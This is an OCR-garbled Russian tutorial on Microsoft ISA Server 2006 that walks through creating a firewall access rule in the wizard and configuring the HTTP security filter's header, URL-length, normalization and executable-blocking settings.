¢ Internet Security &
Acceleration Sei 2006 HacTpoex: user-9e55b268el MonuTnKa MeXceTesoro skpana (user-9e55b268e1)
E anHuit MacTep NOMOXET COSAATHL HOBOE MPaBMMo
npocTyna. MNpaeuna aocTyna onpeaenaoT
NPeANPUHMMaEMbe ASHCTENA M MCNONbESYeMbE —
NPOTOKOMH, KOTAA YKa33HHEE KIMEHTH US OAHOM CETH Z WHcTpyMeHTapuii y 3apaun Y Crnpaska 3
NETSIOTCA NOMHMTE A0CTYN K 0COGHM MecTam e | TP eToREag or P =

HA3HaYeHWA UM COAEPXMMOMY B ADYroi C2Tn.

Eﬂ 3apaum NONNTUKKM
-- MeXCeTeBoro 3KpaHa
Wms npasura noctyna:
IOCHOBHHE NPOTOKOMNL KknnenTa Exchange
-- =) OnyBnmKosaTe MOYMTOBLIE CEPSEPL!

[lna npogoroxkeHina HaxmuTe kHonky “Hanse”. =) OnybnukosaTe y3nui SharePoint

2 OnybnukosaTs Be6-y3nbi

5] OnyBruKosaTs NPOTOKONBE He
seb-cepsepos
< Hazag Haree > Otmena 5] CosnaTe npaBmno nocTyna

3apaum usMeHeHus
NOJINTUKN

3apaun CUCTEMHOM
NOANTUKN

(5 MISMEHNT b OICTEMHYIO MONUTHKY =
g Nokasare npasina cucTenroit
nonaMTIKI
(€) IxcnopTHpoBaTL CHCTENHYIO
noAMTHKY
@ MMNOPTHPOBATL CUCTEMHYIO
noAMTUKY

3agaum NoJsIMTUKKN

< | | ] Y ocninneis =

Beenure umsa npasuna B TekcToBOE nose BBoxa «Mms mpaswia pgocrymna». B
TOM MpUMEpPEe Mbl CO3JaAMM MpaBwiIo JocTyna «OCHOBHBIE IPOTOKOJBI»,
npolyckaroniee Bech TpapuK IO BBIOPAHHBIM MPOTOKOJIAM OT JIOKAJIbHOTO
KOMITBIOTEPA U U3 BHYTPEHHEH CETU BO BHEIIHIOKO CETb.

[[lenxauTte Meimbo o kHomnike Next ([lanee).

Crpannua «/leiictBue nmpaBuia»
Ha crpanune «/leiictBue npasuna» ecTh ABa BapuaHrta: «Pa3pemmurs» Win
«3anpetuTh». B HameM npumepe mMbl BeIOepeM BapuaHT «Pa3pemuTs» U IeIKHeM

MBIIIBIO KHOTIKY «/laneey.
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securitv and AccelerationServer 2006 & x|

| Macrep cosganma npasnna gocryna x| |

OesicTeme npaswra |
YiaxuTe, Kak AorHb 06pataTHEaTECA 3aNPOCH KIMEHTa K COAEPXMMOMY N3

YKB38HHOTD MECTa HaSHaYEHMA, ECT BBMNOTHEH S YCrOBWA, YKa3aHHSE B
npasine nacrpoex: user-9e55b268e1 NMonuTuka MeXxcerTesoro sxkpana (user-9e55b268e1)
MpeanpuHMMaeMse ASACTENA NPY BBNOMHEHY YCMOEBWiA Npasnra: .

[ Vrcrpymerrapuit Y 3anaun \{ Crpaska Yy

leitcT B... | MpoTokonbl OoT n -

o N A

3apaumn NONUTUKK

MeMCeTeBoro sxpaxHa

=) OnyBmukosaTe gocTyn Be6-
knmenta Exchange

5) OnyBnmKosaTe NOYTOBBLIE CEPSEPL!

=) OnyBnikosaTe ysnel SharePoint

BaTe Beb-y3nbi

53TH NPOTOKOABI HE
sef-cepsepos

< Hasan Oaree > Otmena =) CosaaTe npasmao nocTyna

H 3agaum n3MeHeHus
NOJINTUKN

3anaum cMCTeMHOM
NONNTUKN

(57 MSMEHNT b CCTEMHYIO NOMMTHKY =
gk Nokasarte npasuna cuctenHoil
nonuTIKn
(&) IKCNOPTHPOBATL CHCTENMHYIO
nonnTHKY
(2) MMnopTHpoBaTh CiCTENHYIO
nOAMTUKY

3agaumn NONUTUKKN

K | o= L I [ noennbuaTns =l

Crpannua «IIpoTokoabDy

Ha ctpanuue «IIpoTokonsDy BEIOMPAOTCS MPOTOKOJbI, KOTOPBIE CIEAYET pas-
pelInTh I MCXOAALIEr0 COCIMHEHUs CETU-UCTOYHUKA C aapecatoM. B cmmcke
«/laHHO€E MpaBHUIIO MPUMEHSETCS K» €CTh TPU BO3MOXKHBIX BapHAHTA!

o «Bech ucxoassmuii Tpapur»

DTOT BapHUaHT pa3peliaeT HCIOJIb30BaTh BCE MPOTOKOJBI JIsI MUCXOMSIIErO
NOCTyTaA.

e «BpiOpaHHBIC IPOTOKOJIBD)

OTOT BapWaHT TO3BOJUT BHIOPATh KOHKPETHBIE MPOTOKOJBI, K KOTOPHIM
MPUMEHSIETCS JaHHOE TMpaBuiio. MOXXHO BBIOpaTh W3 CHUCKA MPOTOKOJOB TIO
YMOJTYaHUI0, BKIIFOUEHHOTO B Opanamaysp ISA

o «Bech ucxoasamui TpagpuK KpoMe BBLIOPAHHOI0)

DOTOT BapuaHT TMO3BOJUT CHEJIAaTh BCE MNPOTOKOJBI JOCTYNHBIMH IS
HUCXOJAIIETO JOCTyNa, 33 HCKIIYEHHEM ONPEAECIEHHBIX IPOTOKOJIOB  JJIs
HCXOJAILIETO I0CTYyIIA.

Brinenure ctpoky «BbiOpaHHBIE MPOTOKOJBI» U IIEIKHUTE MBIIIBIO KHOIKY
«Jlo6aBuThy. Ha skpaHe mosiBUTCS AuanoroBoe OkHO «JloGaBuTh mpoTokoybl». B
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9TOM OJHUAJIOTOBOM OKHC Bbl YBUJUTC CIIMCOK IIAIIOK, B KOTOPBIX CIPYHNIIMPOBAHBI

IIPOTOKOJIbI B 3aBUCUMOCTH OT OCHOBHOM C(bCpBI HUX IIPUMCHCHU . Hanpmvlep, IIarKa

«O01mme TPOTOKOJIBI» COACPKUT MPOTOKOJIBI, KOTOPbIE OOBIYHO MPUMEHSIIOTCS s

noakiaoueHuss Kk HWHrepHery, a B mnanke «lIlouToBble NPOTOKOJBI» COOpaHBI

IIPOTOKOJIBI, KOTOPBIC, KAaK IIPABUJIO, UCIIOJIB3YIOTCA A JOCTYIIA YCPEC3 6paHzLMay3p

ISA k cepBucam snektponHoi mouthl. [lamka «Bce mpoTOkoNb» COOEpKHUT Bce

IIPOTOKOJIBI, KAK BCTPOCHHBIC, TAK U OIIPCACICHHLIC ITOJIB30BATCIICM, BKIIFOYCHHBLIC B

KoHpurypamuio Opanamayspa ISA.

[Tocne mienmuka KHONMKOM MbIIKM TNanku «Bce mpoTokonby MOABATCA BCE

IIPOTOKOJIBI,

CKOH(QUTYpHUpOBaHHbIE B OpaHaMayspe

ISA. bpaaamaysp |

SA

MMOCTaBJIACTCA C ONPCACICHUAMMN CTa IIPOTOKOJOB, KOTOPBLIC MOXHO HCIIOJIB30BATH B

IMpaBrJIax A0CTYyIIA.

MpoToxonu

(&

x|

|

Fe-

DaHHoe Npasuno NpUMeHAeTCs K:

|Bu6partie mpoTokons

MpoTokons:

< Hasan

Oaree >

<l

nacrpoex: user-9e55b268e1 Nonurnka meXxxceTesoro skpana (user-9e55b268e1)
i

[ Vincrpymerrapuii Y 3anaun \{ Crpaska

MpoTokonsi:

Cospath ~ USMEHWTb... YAanuTe

o |

LU pNS-cepsep S|
L/ echo (TCP)

'3 Echo (UDP)

/3 Finger

Ly Fre J
'3 Frp-cepsep

'3 Gopher

e

L3 urres

L'j HTTPS-cepeep

'j HTTP-npoxcn

L) 1ca

U5 1cQ

'3 1cQ 2000

L/ 1dent

L/ IKE-wknment

ﬂ-_‘j IKE-cepsep ~1

OoT!

38‘13‘1" NOJINTUKMN

MeMCeTeBoro 3xpasHa

5 OnyBnukosaTe pocTyn Be6-
KnmenTa Exchangs

5 OnyBmkosaTs NOUTOBBIE Cepse:

wosaTe y3nol SharePoint
aTo BE6-y3nbI

1KOBaTE NPOTOKOABI HE
seb-cepsepos
5) CosaaTe npasuno nocTyna

3apgaun u3MEeHeHus
NOJINTUKN

3aaaum CMCTEeMHOM
MOSINTUKN

[ VISMEHNT b 0ICTENHYIO NONNTHIY

Gk Noxasate npasuna crcTemroi
nonMTIKM

(2) MMnopTHPOBaTE CiCTENHYIO
NOAUTUKY

3agaum NoJSIMTUKN
noeanopmMaTnsa

-

2]

[Tocne ompeneneHus MPOTOKOJA, KOTOPhI HEOOXOIUMO BKJIIOYUTH B TMPABHIIO,

ABAXKAbI HICIIKHHUTC €TI0 KHOIIKOM MBIIIIH. HOBTOpI/ITe 3TO HGﬁCTBHC I APYyTUuXx

IIPOTOKOJIOB, KOTOPLIC HCO6XOI[I/IMO BKIIOYUTb B IIPaBHJIO, WM 3aTCM IICIIKHHUTC

MBIIIBI0O KHONIKY «3aKpbITh» JAHAIOrOBOro OkHa «J{00aBUTH MpOTOKOJIb». B Hamem
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npuMepe Mbl XOTUM pa3pemuTh AocTyn s mnpotokoigoB HTTP, HTTPS, POPS3,

POP3S, SMTP, SMTPS.

¥ Microsoft Tnternet Seciifthe Sned Al oy e e ——— —{&(xi
“I Macrep cosganns npasmna gocryna x| |
¢ TMporoxomu |
B Bii6epuTe NPOTOKOME, Ha KOTOPHE PACTPOCTPEHASTCA STO MPasVD
=
E nactpoer: user-9e55b268el  MonuTmka MeXceTesoro sxpana (user-9e55b268e1)
E
[anHoe Npasvno NpUMEHAETCA KX
| Bustpeseise rpoTorons | 0Bi1 COXPAHITE BHECEHHBIE MSMEHEHIS 11 OBHOBHTE KOHMHMYPALUIO, HEXXMUTE TIPUMEHUTS™.
DpoTokons:
T3nTTe - 3 MHc‘rvaeHTapw'/'lYBagauu \‘ Cnpasxa 3
L5HTTPS m ciicts... | Nporoxoam Orxypa /N -
= WUsmermts... |
E‘Sgg:s 3apaum NOANTUKN
=2 YparuTe MeXCeTeBOoro 3KpaHa
LigsmTp —I pa
L/gsmTPS =) OnyBmiosaTe ROCTYN BE6-
knmenTa Exchange
Mop1s... I 22
=) OnyBnMKoBaTe NOYTOBBIE Cepseph!
5} Ony6mukosaTs yane SharePoint
-} OnybnirosaTe Be6-y3nbI
<Hasan Oaree > I Otmena I = ¥
5} OnyEMMKoSaTE NPOTOKOABI HE
seb-cepsepos
H =) CosaaTs NpaBHAO A0CTYNa
3apaun nsMmeHeHns
MOINTUKN
3afaum CUCTEMHO#M o
NOANTUKN
3 MISMEHNT b ICTEMHYIO MOMTUKY
,;é MoKasaThb NPasina CUCTEMHOMN
romMTHRY
(€) IKCnopTHPOBATL CUCTENMHYIO
NOAUTHKY
@ MMNOPTHPOBATb CUCTEMHYIO
nomMTIKY
R | S| BN I 2 =l

Crpannna « AcTOYHMKHU MPaBUJI JOCTYIA)

Ha crtpanune «McTouyHuKM mpaBUJI JAOCTYIa» BBHIOEPUTE MECTOHAXOXKICHUE
UCTOYHMKA HH(POpPMAIUU, K KOTOPOMY CJelyeT NPUMEHUTh MNPaBUJIO JOCTYIIA.
[IlenkHUTE MBIIBIO KHOMKY «Jl00aBUTH», 4YTOOBI BCTABUTh HWCTOYHHK CBS3H, K
KOTOPOMY OyIEeT MPUMEHSTHCS JaHHOE MPABUIIO.

B nuanoroBoM okHe «JloOaBieHME CETEBBIX CYIIHOCTEW» MOXKHO BBIOpATh
MECTOHAXOXJICHUE KCTOYHMKA WHGPOpPMALMHM [JIs8 JaHHOTO TMpaBuia. JIBakibl
IEJTKHUTE KHOMKOW MBIIIN UCTOYHUK, K KOTOPOMY HY>KHO IPUMEHUTH MPABUJIO.

B Hamem mpumepe mieaKHUTE KHOMKOW Mblmu manky «Cetw», 4ToOBl pac-
KpbITh €€, W JBaXJbl WICJIKHUTE MBbIIIbIO CTPOKY «BHYTpEHHSS» UM CTPOKY
«JlokanpHbIi  KOMOBIOTEpP». Haxmure KHONKY «3aKkpbITh» ISl 3aKPBITUS

AUAaJIOrOBOI'O OKHA.
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J|Macrep cospanua npasuna aocryna | x| I
q  Wcrowsus npasmn pocryna |
370 npasvno GyaeT NPUMEHATHCA K TPAPMKY C MCTOYHMKOE, YKa3aHHBIX Ha

E [BAHHOM CTPaHMLE.
E
E

nacrpoex: user-9e55b268el  MMonuTuka MeXCeTeBOro skpana (user-9e55b268e1)

06b1 COXPaHUTE BHECEHHbIE MSMEHEHUS 1 0BHOBUTL KOHbMIypaLyio, HaxkmuTe TipuMeHUTL ™.

! WHcTpymMeHTapuit y Sagaumn ‘ Cnpaska 5

eiicT B... | MpoTokonbl Oor a / n -

370 NPaEN0 NPUMEHRETCA K TPASVMKY OT CNEAYIOWMX MCTOYHUKD B!

== BryTpeHHaR
=%=TloKaneHsi KoMNBOTEP.

3agaum NONUTUKKN

MeMCeTeBoro 3xpaHa

=) OnyBniosaTe AOCTYN BE6-
knuenTa Exchange

=) OnybnMKoBaTE NOYTOBLIE CEpPEEPb!

=) OnyBnikosats y3nsi SharePoint

=) Ony6nukosaTe Be6-ysnbl
< Hasan Oaree > Otmena

{5 ONYBAMKOBaTE NPOTOKONBI HE
seb-cepsepos

H =) CosnaTe NpaBuno noCTyNa

3apnaum usMeHeHus
MNOJINTUKKN

3apaum cucrtemMHon

NONNTUKKN

[ MSMERNTB QICTEMHYIO MONMTIKY

G Noxasare npasuna crcTemHoin
noAMTIKM

@ DKCNOPTHPOBATL CUCTEMHYIO
noAMTUKY

(3) MMnopTHPOBATL CUCTENHYIO
NOAMTHKY

[[lenxkauTe MBIIBIO KHONKY «/Jlanee» Ha crpanunne «lVcTtouHukm mnpaBui
JNOCTYIIa».

Crpanuna «IIlyHKTbI Ha3HAYeHHUS NPABUJI I0CTYIA))

Ha crpanunie «IlyHKThI Ha3HaueHHUs TpaBuJ JOCTyMay BBIOEpHUTE agpecar
MH(QOpMaIUHU, K KOTOPOMY HY>KHO MIPUMEHUTH AaHHOE npaBuio. lllenkHuTe Mblibio
KHOTIKY «Jl00aBuUTH», 4TOOBI J0OABUTH MECTOHaXOXJeHUe anpecata. Ha skpane
MOSIBUTCSI UAJIOrOBOE OKHO «/[oOaBieHue CeTeBBIX CYLIHOCTEH», B HEM MOXHO
BBIOpATh CETEBOM OOBEKT B KadeCTBE ajpecara WHGOpMaluu, K KOTOpomy Oyaer
MIPUMEHSTHCS JaHHOE MTPABUIIO JOCTYTA.

B nameMm npumepe Mbl HIETKHEM KHONKOW MblK manky «Cetw», a aanee
JBOWHBIM WIETYKOM KHOINKHA MBIIIM BbIOEpeM cTpoky «Buemnsisa». LlenkHute
MBIIIBIO KHOIKY «3aKpbITh», YTOOBI 3aKPBITh AMAJIOTOBOE OKHO. 3aTeM IIECIKHUTE

MBIIIBIO KHOTIKY «/lamee»
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Microsoft Internet Securitv and Acceleration Server 2006
7| Macrep cosfanns npaswna [ocryna
MyHkTe Hashayenms Npasmn gocTyna
370 npasuno SyaeT NPMMEHATHCA K TPAPMKY, OTNPaBNEHHOMY C MCTOYHMKOE
MPaBUME K NYHKTaM H3SHYEHNH, YKASaHHEM Ha ABHHOM CTPaHWLE.

=

370 NPaBMN0 MPUMEHAETCA K TPA@MKY, OTNPAENSHHOMY MO CHEAYIOWWM HaMPaBNeHUAM:

@ Brewnnn

s [P

T

5]
|
|

HacTpoek: user-9e55b268e1 MonuTuka MeXxceTesoro skpana (user-9e55b268e1)

[Vrcroymertapuii Y 3anaun \ Crpasra

leicTB... | MpoTokonbl OoT a / n

3agaum NONIMTUKK
MEeMCEeTEBOIo >SXpaHa

5] OnyBmukosaTe AocTyn Be6-
wamenTa Exchange
5} OnyBmMKosaTs NONTOBBIE CepsEpL!

08aTe y3ne SharePoint

cosaTs Be6-yanbl

<0BaTH NPOTOKOABI HE
5epos

< Hasan Otmena

Oaree >

=1 CozaaTe NpaBwno nocTyna

3apgaum n3MeHeHus
NOJINTUKN

3apaun CMCTEMHOM
MOSINTUKN

5 MSMENNT b OICTEMHYIO NONMTIKY L
3k Noxasarse npasuna cucTemHoil
nonMTIKI
(€) IxcnopTHpoBaTE CHCTENHYIO
nonnTIKy
(2) MMNOPTHPOBATB CHCTEMHYIO
noAuTUKY

3agaun NOINTUKN
noeanopmaTunsa

Crpannna «Ha0opsbl yueTHBIX 3anMcein

Ha crpanune «HaGopbl yueTHbIX 3anmucein» MOKHO 3a7aTh I0JIb30BaTeNeH, K
KOTOPBIM TNPUMEHSETCS JaHHOE MPaBUJIO. YCTAaHOBKA IO YMOJIYaHuoo — «Bce
MoJIb30BaTeNn». ECiii HyXKHO yJIaluTh 3TOT HA0Op MOJb30BaTENed WX JIO00H Apy-
rol M3 CIHUCKa TOJb30BATENEH, K KOTOPBIM HPUMEHSAETCA JAaHHOE IIPaBUIIO,
BbIOEpUTE HAOOP MOJB30BaTENEH U IIEIKHUTE MBIIIBIO KHOMNKY «Y 1anuTh». MOXHO
TaK)X€ OTPElaKTUPOBATh HAOOP MOJIb30BaTEsEH, IPUBEJECHHBIN B CIIUCKE, IIEJIKHYB
MBIIIBIO KHOIIKY «PenakTupoBaTh.

JloGaBuTh HaOOp Tmosb30BaTENed MOXHO, WIEJKHYB MBIIIBIO  KHOIKY
«/lo6aBuTh». MOXXHO Takke CO37aTh HOBBIE TPYIIBI OpaHIMaydpa, IMIEJIKHYB KHOII-
KO MBIIIN MyHKT MeHIO0 «HoBas».

B Hamem mnpumepe MBI BOCIOJIB3YEMCsS YCTAaHOBKOW IO ymonuaHuio «Bce
nosib3oBatenny. ll{edKHUTE MBIITBI0O KHONIKY «3aKpBITh», YTOOBI 3aKPBITh TUAJIOr0BOE

OoKkHO «/[00aBUTH MoJB30BaTENEH). 3aTEM IICIKHUTE MBILIBIO KHOMKY «Jlamee».
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acTep cosganna npaswna gocryna

=8 x

|q  Habopu yuemnux sanmoeit
— Mpasnno MOXHO NPUMEHATE K 3aNPOCaM OT BOEX NOML30EATENEM, MMM MOXHO
E OMPaHUYMTE AOCTYN K KOHKPETHOMY HaBopy Nonb3oEaTenei.
E
E
3o K 3anp oT YHETHEX
B Bos nonbsosaterm DoGasuTe... I
NemernTs,... I
Ynanute
< Hasan Oaree > Otmera
EY I— 2l

|/ VrcTpymerapuii Y 3anaun \‘ Crpaska !

3agaun NoONINTUKK

MeXCceTeBoro 3KpaHa

5] OnyBnukosats AocTyn Be6-
wnnenTa Exchange

5] Ony6nmKkosaTe MOYTOBLIE CEPSEPhI

=) OnyBrukosaTe yanel SharePoint

(5] OnyBrukosaTe Be6-ysabl

5] Ony6nmkosaTe NPOTOKOABI HE
seb-cepsepos
=) CozaaTo NnpaBMno 20CTyNa

3apaum u3MeHeHus
NOJSINTUKN

3apaumn CUCTEeMHOM
NOANTUKN

(A7 MISMERNT b CUCTENHYIO NONMTHKY
g Nokasare npasina cicTenroi
nonTIM

(€) IxcnopTupoBaTh CiCTENHYIO
nOAMTIKY

(3) MMnopTHpoBaTe CiCTENMHYIO
noAUTUKY

3agaun NoOJSINTUKN

noeaonbpmuaTus

I[anee IIOABIACTCA CTpaHHIIA «3aBepmeHne MacCTCpa CO3daHHA IIpaBHJIa

JOCTYIIaY.

«l'oTOBOY.

¥ Microsoft Internet Security and Acceleration Server 2006
Koncono [eiictene Bug Cnpaska

HpOBepre CACIIAaHHBIC YCTAHOBKM MW MICJIKHUTC MBIIIIBIO KHOIIKY

«s AE2EA|LFXO® 3 F

& Npepnpuatne
=1-{5] Macansb
£1-4g user-9e55b268e1
-] Habnropenme
e

) Microsoft Internet Security and :

Acceleration Server 2006
Enterprise Edition

Microsoft %
Internet Security &

MpuMeHnTL I

L) BupTy

HacTHbI

CepBep xpannnnuja HacTpoek: user-9e55b268e1

NonuTuka Mexxceresoro 3kpana (user-9e55b268e1)

OTMEHUTL I Y106bl COXPEHUTEL BHECEHHBIE MSMEHEHWS M 0BHOBUTEL KOHDUrypaLyto, HaxmiuTe TIpUMEHUTD ™.
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[Iocne »TOoro Ha)xMuTe KHOIIKY ((HpI/IMeHI/ITL» AJsl IPUMCHCHUA CO3JaHHBIX

IIpaBUJ TOCTYTIA.

HTTP-¢puasTp

HTTP-dunstp (HTTPS-unetp) Opanamayspa ISA — oaHO U3 KIIIOUYEBBIX
CpelncTB (pUIbTPALIMM U MPOBEPKU HA MPUKIATHOM YPOBHE, BKIIOUEHHBIX B COCTaB
Opanamayapa [SA. Otot dunsTp no3possier Opanamay’3py [SA BBITIOIHITH TPOBEPKY
Ha ypoBHe mnpwioxkeHn Bcex HTTP-kommyHukammyi, nDpoxoasumx 4epes
Opanamaysp ISA, u 610kupoBaTh COETMHEHUS], HE OTBEYAIOIINE TPEOOBAHUAM Ballen
3amuThl mpotokosa HTTP.

[Ipumenenne HTTP-punabTpa OCHOBaHO Ha MpaBHIIaX, MOXHO HCIOJb30BATh
paznuunbie mapamerpbl HTTP-guubrpanum B KaxkaoM mpaBuie, pasperaroiemM
ucxoasume HTTP-kommyHukanuu. Takold mnmoaxox o0OeCneYMBAeT TINATEIbHbIN,
XOpOLIO HACTPAaWBAEMbI KOHTPOJb HAJ TUIAMU COCIAUHEHUN, KOTOpPHIE MOTYT
npoxoauts no HTTP-kanainy.

B texymmii pa3zaen BKIKOYEHBI CIEAYIOMIMNE TEMBI:

e 0030p ycraHoBO4HbBIX mapameTpoB HTTP-dunbsTpa 3amuTsr;

o npumep nosutuk HTTP-dunbsTpa 3ammrsr;

00630p ycranoBouHbIX mapamerpoB HT TP-¢puiabTpa 3ammrsi
HTTP-punbtp 3amuThl CONEPKUT Psijl BKIAIOK, TO3BOJISIONINX, OCHOBBIBASIChH
Ha TMpaBUJIAX, YCTAHOBUTh CTPOrMil KOHTposib Haja Tunamu HTTP-cooOuenui,
KOTOPBIM pasperieH mnpoxon yepe3 Opannmaydp ISA. Kondurypuposanme HTTP-
(¢unpTpa 3alMTHl BBIIOJIHAETCA HA CAEAYIOMINUX BKIIAKAX:
e General (O6mue);
e Methods (MeToasi);

e Extensions (Pacmmpenus);
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Headers (3aronoBkn);

Signatures (IToamucn).

Bruaaka General

Ha Bxnaake General (O6111e) MOKHO HACTPOUTH CIIEAYIONINE TApaMETPhI:

MAaKCUMAJIbHYIO JIJIMHY 3ar0JIOBKOB;
pa3mep NOJIE3HbIX TaHHBIX;
MakcumaibHyro JuuHy URL-anpeca;

IPOBEPKY HOPMAJIU3AIUH;

YAAJICHHUC CUMBOJIOB, UCITOJIB3YIOIIHUX CTApPIINC 6I/ITBI;

6JIOKI/IpOBaHI/IC OTBCTOB, COJACPKAIIUX HCIIOJIHACMBIC

Windows.

Ofume IMETOJ:I.I:-I I PacwmpeHua I SaronosKH I Moanuo I

2]

— 3aronNoBKK SaNpoCos
MakCoManeHaA anvMHa 3aronosKoe {(DalT):

' STOT NapaMETP NPMMEHAETCA KO BCEM NPaBHMNEM.
- MpurMeyaHke. TEKYLLEA NoONMTHKE NPEanPUATHA

barTami.

OrpPaHHUHHMBSET MAKCHMaNEHYHD ANKMHY SaronosKos 32758

—MonesHbie AaHHLIE 3anpoca

¥ PazpewmTe nrobyio ANMHY NONE3HEIX AAHHLIX

MarcMMansHaA AnMHa NonesHeD QaHHex (DaiT): I

— 3awuTta URL-aapeca

[T MNposepaTe HopMaNMEELAD
[T BnokMpoBaTh CMMBONLI paclUMpEHHOro Habopa

MakcmaneHaa gnHa URL-agpeca (BanT): I 10240
MarcMMansHas AnvHa sanpoca (BaAT): I 10240

— EXE-dhaiine!

- EnokMpoBaTh 3anpockl, CoAepHallHe WNoNHAEMoe
cogep#uMoe Windows

QK I OTMenHa

[FEHHMEHHTE

Puc. 1. Brnaaka «Oomrue (General)»

(aiisbr

oC

[Tapamerp Maximum headers length (bytes) (MakcumajabHasi JJMHA

3aroJIOBKOB, B 0alTaxX) MO3BOJIAECT 33J1aTh MAKCUMAJIbHYIO JUJIMHY BCEX 3arOJIOBKOB,

BKJIIOYEHHBIX B 3anpoc coeauHenust no HTTP-nporokony. OH npuMeHseTcs: KO BCeM
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npaswiaM, ucnonb3yromuM HTTP-gunbtp 3amuTel. 3TOT ycTaHOBOUHBIM MapaMmeTp
3alllMIAeT OT aTak, MBITAIOIIMXCS CO3/aTh MepenoyiHeHue OydepoB Web-caiita 3a
cdet otnpaBku Ha Web-cepBep U30BITOYHO JUIMHHBIX 3ar0JIOBKOB.

B o6nactu Request Pay load (IloJie3nble JaHHBIE 3ampoca) MOXKHO
paspemiuTh JII0OOM pa3Mep MOJE3HbIX JIAHHBIX WM 33JaTh KOHKPETHYIO
MaKCUMAJIbHYIO JUIMHY 11t HUuX. [lone3nsie manubie — 310 yacth HTTP-cooOuienus,
He oTHocsmasscs k HTTP-3aromoBky wmnm ctpykrype komannawl. Hampumep, ecim
pa3penInTh TMOJIb30BaTeNIIM IOChUIaTh JaHHble Ha Web-caiiT (OnaHk 3akaza wWiId
obcyxneHue s gopyma), TO MOKHO YCTAaHOBUTH MPEIACIABHYIO JJIMHY ISl 3TUX
otnpaBiieHui, copocuB Quaxxkok Allow any payload length (Pa3pemiena nrobas qiuHa
MOJIE3HBIX JIAHHBIX) U BBEJS HACTPAaWBAEMOE 3HAYEHUE B TEKCTOBOE Mosie Maximum
payload length (bytes) (MakcumanbHas JIMHA MOJE3HBIX TaHHBIX, B 0alTax).

B o6mactu URL Protection (3ammra URL-agpeca) ecTh HECKOJBKO
nmapametpoB. Bapmant Maximum URL length (bytes) (MakcumaJjbHas JJIMHA
URL-aapeca, B 0aiiTax) mo3BojsieT 3aJaTh MakcumaibHyro juinHy URL-angpeca,
KOTOPBIM MOJIb30BaTENb MOXET MepeciaTh 4epe3 OpaHaMaydsp, BBINOJHSAS 3ampoc K
Web-caiity depe3 Opanamaysp. 37I0HaMEpEeHHBIC NPOrpaMMbl MOTYT IOCBLIATh
u3obiTouno jumHHBIe URL-aapeca, mpitasch co3gaTh mepemnosiHeHue Oydepa uium
apyroi tun ataku Ha Web-cepepe. 3HaueHue no ymomuanuto — 10240, HO ero
MOKHO HM3MEHHTh B COOTBETCTBHU C TpeOOBaHWsAMH caiToB. [lapamerp Maximum
query length (bytes) (MakcumajbHasi JJMHA 3ampoca, B 0ailTax) MO3BOJISET
3a7]aTh MAaKCUMaJIbHYI0 JIMHY noJia 3anpoca B URL-aapece. Ota wacte URL-angpeca
nosiBIsieTcs mocie BompocutenbHoro 3Haka (?) B URL-3ampoce. 3nauenue, ycra-
HOBJICHHOE TI0 YMoJiyanuto, — 10240, HO €ero MOXHO U3MEHUTH B COOTBETCTBUHM C OII-
peneneHHbiMU  TpeOoBaHusiMu. Mwmeilite B Buay, uro Maximum URL length
(Maxkcumaneshas nuuHa URL-anpeca) nomknaa ObiTh 6onbiiie Maximum query length
(MakcumanpHasi JJTMHA 3amnpoca), MOCKOJIBKY 3ampoc — 3TO ToJibko 4dacth URL-

ajpeca.
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[TapameTtp Verify normalization (IIpoBepka HopMaJIM3aNMK) TaK>KE BKIIOUEH
B obmacte URL Protection. Hopmanuzamuss — mnpolecc IeKOJAUPOBAHHUS Tak
HA3bIBAEMBIX  «ympaBisitomux»  («escaped») cumBoioB. Web-cepBepbl MOTYT
MOJIy4aTh 3alpocChl, 3aKOJMPOBAHHBIE C MOMOILBID TakWX CUMBOJOB. OnuH H3
HamOoJiee pacpoCTpaHEHHBIX NMPUMEpPOB — Hanuuue npodena B URL-agpece, Takom
kak http://msfirewall.org/Dir%200ne/default%20file.htm. CumBonpHas xKoMOWHAITIS
%20 — 31O escape-CUMBOJI, IIpeACTaBIsAIONTUI Tpooen. [Ipobiema 3akitodaeTcs B TOM,
YTO 3JOYMBIIUIEHHUKHM MOTYT 3aKOIUpPOBaThb CHUMBON «%» W BBIIOJHHUTH Tak
Ha3bIBaeMble JABaXKIbl koaupoBaHHble (double encoded) 3ampocel. JIBoitHOe
KOJUPOBaHHE MOXET TNPUMEHAThCS B arakax Ha Web-cepepsl. Kornma BbeiOpan
napametp Verify normalization, HTTP-punerp 3amuTel HOpManu3yer WU
JIEKOAUPYET 3ampoc ABaXKIbl. Eciu 3anpoc mocsie nepBoro U BTOPOro AEKOIUPOBAHUS
He oauH u TOT ke, HTTP-bunbTp 3amuTel oT6pOCUT ero. ITo NeHCTBHE 3alUIIAeT OT
aTak «aBoMHOTO KomuposaHus». Bapuant Block high bit characters (biokupoBarb
CHMBOJIbI  pAaCHIMPeHHOr0 Hadopa) mno3Boisier yaansate HTTP-3anpocsl,
Bkmovaronie URL-agpeca ¢ cuMBojaMu, MCHOJB3YIOIIMMH — CTaplide OWTBHI.
CumBoOIIbI, 11  TPEICTaBICHUS  KOTOPBIX  HCMOJB3YIOTCS — CcTapuiMe  OWTHI,
MPUMEHSIOTCS BO MHOTHX SI3bIKaX, UCIOJIB3YIONINX PACIIMPEHHBIE HAOOPHI CUMBOJIOB,
MO3TOMY, €CJIM BBIACHUTCS, YTO HEBO3MOXHO MOJYy4uTh JocTyn K Web-calitam,
MPUMEHSIONUM TaKUe pacliMpeHHble Habophl cuMBOJIOB B cBoux URL-ampecax,
cienayer cOpOCUTh ATOT (hJIaXkKOK.

[Mapametp Block responses containing Windows executable content
(bJokMpoBaTh 3ampochl, coaep:kamue ucnojdHsgemble ¢aiiabl  Windows)
MO3BOJISICT MOMEIATh MOJB30BATEISAM TepechlIaTh HCHONHsIeMbIe ¢aitibt Windows
(Takue Kak (haiJibl C paclUIMpEeHUEM .€Xe, HO JIJII 0003HAYEHHUS UCTIOTHAEMbIX (paiioB
Windows mokeTr ObITH UCIOJIB30BaHO Jt00oe paciupenne (aiina). HTTP-gunbtp
3alUThI CIIOCOOCH OMPEACIUTh, SIBIsSETCS Ju ¢aia ucnoyHseMbiM ¢aiaom Windows,

MOCKOJIbKY OTBET OyaeT HauuHaThCsid ¢ KoMOuMHamuu MZ. DTo CBOMCTBO MOXKET
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OKa3aThCsl OUYCHb TOJIE3HBIM, €CITU HEOOXOAMMO TIOMEINIATh TOJIB30BATEIISM 3arpyKaTh
ucnoJiHgemble (aiinel uepes opanamaysp ISA.
Bruaaaka Methods
Hcrmonp3yst ycTaHOBOYHBIC TTapamMeTphl Ha Bkiagke Methods (Metoasr) MOKHO
